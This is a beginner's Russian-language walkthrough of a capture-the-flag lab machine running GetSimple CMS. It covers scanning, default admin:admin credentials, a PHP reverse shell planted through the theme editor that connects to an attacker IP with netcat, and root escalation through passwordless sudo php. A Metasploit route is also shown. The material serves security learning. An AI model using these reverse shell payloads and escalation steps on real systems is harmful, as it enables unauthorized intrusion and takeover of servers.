Внимание!!!

В статье показано пошаговое решение модуля Getting Started. Я настоятельно рекомендую сначала попробовать решить задачу самостоятельно, а в случае затруднений обратиться к подробному пошаговому руководству. Это позволит вам лучше понять процесс и развить собственные навыки. Также вы можете изучить различные подходы к решению и логику мышления.

Я такой же, как и вы, начинающий специалист в сфере пентеста. Не судите слишком строго!

Задание:
1.  Создайте цель, закрепитесь и отправьте содержимое флага user.txt.
2. После получения доступа к цели, повышайте привилегии, чтобы укорениться и представить содержимое флага root.txt.

Решение 1. Ручной способ

С самого начала у нас есть только IP-адрес целевой машины. Начнем по
порядку разведывать хост и получать дополнительную информацию о цели.

1. Начнем с проверки IP адреса. Это сайт, на котором находится система поставки контента GetSimple CMS.

Можем запомнить этот плагин, в будущем может нам пригодиться для получения доступа к системе.

2. Запустим Nmap-сканирование в поисках открытых портов:

sudo nmap 10.129.152.80 -sS -n -Pn --disable-arp-ping -oA scan
sudo nmap 10.129.152.80 -sS -n -Pn --disable-arp-ping -oA scan
  • -sS - Запускает SYN-сканирование 1000 самых популярных портов

  • -n - Отключает разрешение DNS

  • -Pn - Отключает запросы ICMP Echo

  • --disable-arp-ping - Отключает ARP-пинг

  • -oA scan - Сохраняет результаты во всех форматах. Хорошей практикой является сохранять результаты всех сканирований в файл, чтобы потом добавить их в отчет.

Находим открытые порты 22 и 80.

3. Произведем захват баннеров открытых портов:

nc 10.129.152.80 22
nc 10.129.152.80 22

Промежуточный результат:
Мы узнали, что на сайте используется система GetSimple CMS, открыты порты 22 и 80, скорее всего, сервер работает на ОС Ubuntu Linux. Вероятнее
всего, GetSimple CMS будет иметь уязвимость, необходимо будет узнать
версию плагина.

4. Зайдем с другой стороны и попробуем найти открытые каталоги с помощью gobuster. Для поиска каталогов будем использовать файл common.txt из набора списков SecLists.

gobuster dir -u http://10.129.152.80/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir -u http://10.129.152.80/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

5. Перейдем к анализу найденных каталогов.

5.1 /robots.txt - это текстовый файл, который содержит параметры индексирования сайта для роботов поисковых систем. Интересно, нужно проверить. В каталоге указан только каталог /admin/, про который мы и так узнали с помощью фаззинга.

5.2 /admin/

В этом каталоге находится панель администратора, но чтобы попасть внутрь,
нам нужно авторизоваться. Попробуем подобрать стандартные учетные
данные для входа в панель (Например: admin:admin, administrator:administrator и т.д.). Вдруг повезет. Если не повезет, можно поискать в интернете стандартные учетные данные для входа в панель администратора GetSimple CMS.

Проведя нехитрые манипуляции, у нас получается войти в панель администратора с логином и паролем admin:admin.

В консоли мы нашли версию плагина (3.3.15), и теперь можно поискать известные уязвимости в интернете. Эта версия позволяет загружать файлы с
произвольным содержимым через theme-edit.php.

Промежуточный результат:
На данном этапе мы получили доступ к консоли администратора и знаем о
наличии уязвимости, которую мы должны будем проэксплуатировать.

6. Эксплуатация уязвимости. Во вкладке Theme мы можем ввести произвольный
PHP-код. Попробуем загрузить обратную оболочку на сервер:

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.69 9443 >/tmp/f"); ?>

Нажимаем "Cохранить" и видим, что скрипт был успешно загружен по пути
/theme/innovation/template.php.

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.69 9443 >/tmp/f"); ?>
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.69 9443 >/tmp/f"); ?>

Запустив netcat, и перейдя по указанному пути, мы получаем на сервере обратную оболочку:

ns -lvnp 9443
ns -lvnp 9443

Теперь мы имеем доступ к серверу.

7. Для улучшения работы с обратной оболочкой, нам необходимо настроить TTY (Телетайп):

python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

После этого мы можем получить наш флаг по пути /home/mtb3n/user.txt (Имя пользователя может отличаться).

Результат:
1-ый пункт задания мы выполнили и смогли зайти на целевой сервер, чтобы получить флаг, но это пол задания. Впереди еще повышение привилегий до root.

8. Загрузим скрипт LinEnum.sh на сервер, чтобы найти уязвимости повышения
привилегий. Скачать этот скрипт можно напрямую с Гита или, использовав команду:

git clone https://github.com/rebootuser/LinEnum.git

Для этого запустим Python сервер, чтобы загрузить через него скрипт:

sudo python3 -m http.server 8080
sudo python3 -m http.server 8080

После этого мы можем скачать скрипт на целевую машину с помощью команды:

wget http://10.10.15.69:8080/LinEnum.sh

Примечание!
1. На целевой машине должна быть открыта папка /var/www/html/theme/Innovation/, ибо у нее есть права на скачивание.
2.  Скрипт должен находится в той же папке, где и запущен сервер Python.

Чтобы выполнить скрипт, у него должны быть права на выполнение, повысим права:

chmod +x LinEnum.sh
chmod +x LinEnum.sh

И запускаем скрипт.

9. В ходе выполнения скрипта мы нашли, что /usr/bin/php может выполняться с привилегиями sudo без пароля.

10. Надо эксплуатировать данную уязвимость. Для этого мы должны загрузить на целевой сервер скрипт обратной оболочки (script.php):

echo '<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.69 8443 >/tmp/f"); ?>' > script.php
echo '<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.69 8443 >/tmp/f"); ?>' > script.php

Запустим netcat-прослушиватель на атакующей машине:

nc -lvnp 8443
nc -lvnp 8443

И запустим скрипт с помощью команды:

sudo /usr/bin/php script.php
sudo /usr/bin/php script.php

В итоге мы получаем root права на целевой машине.

Внимание!
Два скрипта обратной оболочки, указанных в статье, отличаются друг от друга. Что бы возможно было подключиться по обратной оболочке с рутовскими правами, необходимо указать другой порт, отличный от скрипта для обычных прав.

Вот мы и получили рутовские права на целевой машине и можно делать все, что угодно. Необходимый нам флаг находится в папке /root/root.txt.

Решение 2. С помощью Metasploit

Запускаем Metasploit с помощью:

msfconsole
msfconsole

Так как мы уже провели первоначальную разведку и узнали, что на сайте находится система GetSimple CMS, мы можем поискать эксплойт для этого плагина:

search getsimple
search getsimple

Нам необходим эксплойт под названием /exploit/multi/http/getsimplecms_unauth_code_exec. Выбираем его:

use 1
use 1

Просмотрев необходимые нам параметры:

show options
show options

Мы должны указать:

  • IP адрес целевой машины (set rhosts [ip]);

  • IP адрес атакующей машины (set lhost [ip]);

  • Где находится GetSimple (targeturi) (set targeturi /);

После ввода всех данных мы можем запустить выполнение с помощью команды exploit.

В итоге мы получим оболочку пользователя и сможем прочитать 1-ый флаг. Получения root-прав описано в первом решении.

Заключение

На этом завершается наше решение данного модуля. Эта была первая уязвимая
машина, с которой я успешно справился самостоятельно, и мне хотелось поделиться своим опытом. Это лишь начало моего пути в мир кибербезопасности, и впереди меня ждут множество увлекательных задач и новых открытий.

Комментарии (0)